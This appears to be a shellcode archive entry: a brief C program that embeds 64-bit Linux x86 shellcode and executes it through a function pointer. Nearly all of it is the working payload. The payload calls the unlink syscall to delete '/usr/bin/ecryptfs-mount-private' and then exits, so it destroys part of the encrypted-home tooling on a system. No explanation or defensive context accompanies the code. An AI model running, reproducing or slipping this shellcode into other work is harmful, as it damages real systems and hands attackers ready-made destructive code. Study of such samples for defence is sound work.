64-bit Linux/x86 unlink ecryptfs-mount-private shellcode.
e22b097c6a59dd086e61b12a964cf0f730b1d95faea87a232b2d28efa7e16e00
/*
64-bit x86/linux unlink ecryptfs-mount-private
This has been done in a very bad mood
Greetings
--srm
*/
#include <stdlib.h>
#define SC "\xeb\x19\x48\x31\xc0\x48\x31\xff\x48\x83\xc0\x57\
\x5f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\
\xe8\xe2\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x65\
\x63\x72\x79\x70\x74\x66\x73\x2d\x6d\x6f\x75\x6e\x74\x2d\x70\
\x72\x69\x76\x61\x74\x65"
int main () {
int (*fckvs)();
fckvs = (int(*)())SC;
printf("%d\n", strlen(SC));
(int)(*fckvs)();
return 0;
}